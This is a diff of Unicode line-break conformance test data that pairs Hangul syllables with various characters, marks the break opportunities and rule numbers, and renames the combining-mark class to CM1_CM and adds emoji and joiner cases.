-× AC00 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× AC00 × 0308 × 17D6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× AC00 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× AC00 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× AC00 × 0308 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× AC00 × 0308 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× AC00 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× AC00 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× AC00 × 0308 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× AC00 × 0308 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× AC00 × 0025 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
× AC00 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× AC00 × 0308 × 0025 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× AC00 × 0308 × 0025 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× AC00 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× AC00 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× AC00 × 0308 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× AC00 × 0308 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× AC00 × 0022 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× AC00 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× AC00 × 0308 × 0022 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× AC00 × 0308 × 0022 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× AC00 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [0.3]
× AC00 × 0020 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× AC00 × 0308 × 0020 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× AC00 × 0308 × 0020 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× AC00 × 002F ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [13.02] SOLIDUS (SY) ÷ [0.3]
× AC00 × 0020 × 002F ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× AC00 × 0308 × 002F ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× AC00 × 0308 × 0020 × 002F ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× AC00 × 0308 × 002F ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× AC00 × 0308 × 0020 × 002F ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× AC00 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× AC00 × 0020 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× AC00 × 0308 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× AC00 × 0308 × 0020 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× AC00 × 0308 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× AC00 × 0308 × 0020 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× AC00 × 200B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× AC00 × 0020 × 200B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× AC00 × 0308 × 200B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× AC00 × 0308 × 0020 × 200B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× AC00 × 0308 × 200B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× AC00 × 0308 × 0020 × 200B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× AC00 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× AC00 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× AC00 × 0308 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× AC00 × 0308 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× AC00 ÷ 261D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× AC00 × 0020 ÷ 261D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× AC00 × 0308 ÷ 261D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 261D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× AC00 ÷ 1F3FB ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× AC00 × 0020 ÷ 1F3FB ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× AC00 × 0308 ÷ 1F3FB ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× AC00 × 0001 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× AC00 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× AC00 × 0308 × 0001 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× AC00 × 200D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× AC00 × 0020 ÷ 200D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× AC00 × 0308 × 200D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 200D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× AC00 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× AC00 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× AC00 × 0308 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× AC00 × 0308 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× AC00 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× AC00 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× AC00 × 0308 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× AC00 × 0308 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× AC00 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× AC00 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× AC00 × 0308 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× AC00 × 0308 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× AC00 × 3041 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× AC00 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× AC00 × 0308 × 3041 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× AC00 × 0308 × 3041 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× AC01 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× AC01 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× AC01 × 0308 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× AC01 × 0308 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× AC01 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× AC01 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× AC01 × 0308 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× AC01 × 0308 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× AC01 × 0009 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× AC01 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× AC01 × 0308 × 0009 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× AC01 × 0308 × 0009 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× AC01 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× AC01 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× AC01 × 0308 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× AC01 × 0308 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× AC01 × 000B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× AC01 × 0020 × 000B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× AC01 × 0308 × 000B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× AC01 × 0308 × 0020 × 000B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× AC01 × 0308 × 000B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× AC01 × 0308 × 0020 × 000B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× AC01 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× AC01 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× AC01 × 0308 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× AC01 × 0308 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× AC01 × 007D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× AC01 × 0020 × 007D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× AC01 × 0308 × 007D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
